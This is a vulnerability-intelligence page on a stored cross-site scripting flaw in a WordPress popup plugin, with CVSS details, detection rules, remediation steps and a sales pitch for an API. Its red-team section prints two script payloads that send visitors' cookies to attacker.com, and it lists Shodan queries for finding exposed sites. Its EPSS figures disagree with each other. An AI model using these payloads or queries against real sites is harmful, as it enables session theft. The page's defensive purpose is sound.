☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Ghozylab logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-26882

CVE-2025-26882 Cross-Site Scripting in Ghozylab
📅 PUBLISHED: 2025-02-25 15:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.11%
👁️
0.11% probability
2.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-26882 is a Stored Cross-Site Scripting (XSS) vulnerability in the Popup Builder plugin (easy-notify-lite) by GhozyLab for WordPress. The flaw exists in versions up to and including 1.1.33, where the plugin fails to properly neutralize user-supplied input during web page generation. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript payloads that are stored on the server and executed in the browsers of any user visiting the affected page. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites.

Given the CVSS score of 6.5 (Medium) and the EPSS score of 0.0%, this vulnerability is currently not under active exploitation in the wild, but its presence in a widely-used WordPress plugin ecosystem makes it a significant supply chain risk for site administrators.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is a critical component of the WordPress supply chain. Site owners who have installed easy-notify-lite are at risk if they allow any user role with the edit_posts capability to create or edit popup content. The lack of a vendor patch means that the only mitigation is to disable or remove the plugin until a fix is released.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): Low (L) – An attacker needs contributor-level access or higher.
  • User Interaction (UI): Required (R) – The victim must visit the page containing the malicious popup.
  • Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure possible.
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium – Exploitation requires authenticated access, but the stored XSS can persist and affect multiple users.

Deep Dive & Mechanics

The vulnerability resides in the Popup Builder plugin's handling of popup content. The plugin likely stores user-defined HTML/JavaScript in the WordPress database (e.g., wp_postmeta or custom tables) and renders it without proper sanitization or output encoding. When a user with contributor-level privileges or higher creates or edits a popup, they can inject arbitrary JavaScript into fields such as the popup title, content, or custom CSS/JS fields.

The stored payload is then executed in the context of the victim's browser when the popup is triggered (e.g., on page load, click, or scroll). Because the plugin does not escape the output, the injected script runs with the same origin as the WordPress site, allowing it to access cookies, session tokens, and perform actions on behalf of the victim.

Attack Flow:

  1. Attacker logs in as a contributor or higher.
  2. Attacker creates a new popup or edits an existing one.
  3. Attacker injects a malicious script into a field (e.g., <script>alert('XSS')</script>).
  4. The plugin stores the payload in the database.
  5. When an administrator or visitor loads a page where the popup is active, the script executes.
  6. The attacker can steal cookies, redirect to phishing pages, or perform actions as the victim.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code pattern is inferred. The plugin likely uses echo or print without escaping functions like esc_html() or wp_kses().

Vulnerable Code (Conceptual):

// In a template file or shortcode handler
$popup_content = get_post_meta($popup_id, 'popup_content', true);
echo $popup_content; // No escaping – XSS vulnerability

Patched Code (Conceptual):

$popup_content = get_post_meta($popup_id, 'popup_content', true);
echo wp_kses_post($popup_content); // Escapes HTML but allows safe tags
// OR
echo esc_html($popup_content); // Escapes all HTML

The patched version would use WordPress's built-in escaping functions to neutralize malicious input before rendering.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with the easy-notify-lite plugin version <= 1.1.33.
  • A user account with at least the Contributor role.

Step-by-Step Exploitation:

  1. Log in to the WordPress admin panel as a contributor.
  2. Navigate to Popup Builder > Add New.
  3. In the popup content field, enter the following payload:
    <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
    
  4. Save the popup and set it to display on a specific page or globally.
  5. When an administrator or visitor loads the page, their cookies are exfiltrated to the attacker's server.

Alternative Payload (Session Hijacking):

<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://attacker.com/exfil', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('data=' + document.cookie);
</script>

Blue Team (Detection & Hardening)

Detection:

  • Monitor WordPress admin logs for unusual popup creation or editing by low-privilege users.
  • Use a Web Application Firewall (WAF) to block common XSS patterns in POST requests to wp-admin/admin-ajax.php or wp-admin/post.php.
  • Scan the database for stored XSS payloads using a security plugin like Wordfence or Sucuri.

Hardening:

  • Immediately disable or remove the easy-notify-lite plugin until a patch is released.
  • Restrict the edit_posts capability to trusted users only.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact:
    Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none';
    
  • Use WordPress's built-in wp_kses() and esc_html() functions in any custom code that outputs user input.

Indicators of Compromise (IOCs)

  • File System:

    • Presence of unexpected JavaScript code in the wp-content/plugins/easy-notify-lite/ directory (e.g., obfuscated scripts).
    • Modified plugin files (check file integrity via checksums).
  • Database:

    • Suspicious entries in wp_postmeta where meta_key contains popup_content and meta_value includes <script> tags.
    • Unusual popup posts in wp_posts with post_type = easy-notify-popup.
  • Network:

    • Outbound connections to unknown domains from the WordPress server (e.g., attacker.com).
    • HTTP requests containing document.cookie in the query string or POST body.
  • Logs:

    • WordPress debug log entries showing PHP warnings related to easy-notify-lite.
    • Web server access logs with requests to wp-admin/post.php containing post_type=easy-notify-popup from low-privilege users.

Detection Engineering

YARA Rule

rule CVE_2025_26882_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Popup Builder plugin content"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-26882"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/is
        $popup_meta = /popup_content/
    condition:
        $popup_meta and $xss_payload
}

Sigma Rule

title: CVE-2025-26882 - Stored XSS in Popup Builder Plugin
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential stored XSS exploitation attempts via Popup Builder plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'post_type=easy-notify-popup'
        cs-uri-query|contains: 'action=edit'
    condition: selection
falsepositives:
    - Legitimate plugin updates
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-26882 - Stored XSS Payload Exfiltration";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=save_popup"; http_client_body;
    pcre:"/<script[^>]*>.*document\.cookie.*<\/script>/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-26882;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin – Deactivate and delete easy-notify-lite from the WordPress admin panel.
  2. Audit user roles – Ensure only trusted administrators have the edit_posts capability.
  3. Scan for compromise – Use a security plugin to scan the database and file system for injected payloads.

Long-Term Fixes:

  • Vendor patch – Monitor the GhozyLab plugin page for an official update. Apply it as soon as it is released.
  • Custom hardening – If the plugin is critical, consider forking it and adding proper output escaping using wp_kses_post() or esc_html().
  • Web Application Firewall (WAF) – Deploy a WAF rule to block XSS patterns in plugin-specific POST requests.

Workaround:

  • If the plugin cannot be removed, restrict its functionality by adding a filter to sanitize popup content:
    add_filter('easy_notify_popup_content', 'wp_kses_post');
    

Valters IT – DevSecOps & Cyber Threat Intelligence Division

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/easy-notify-lite"
http.html:"Popup Builder" "easy-notify-lite"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-26882/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.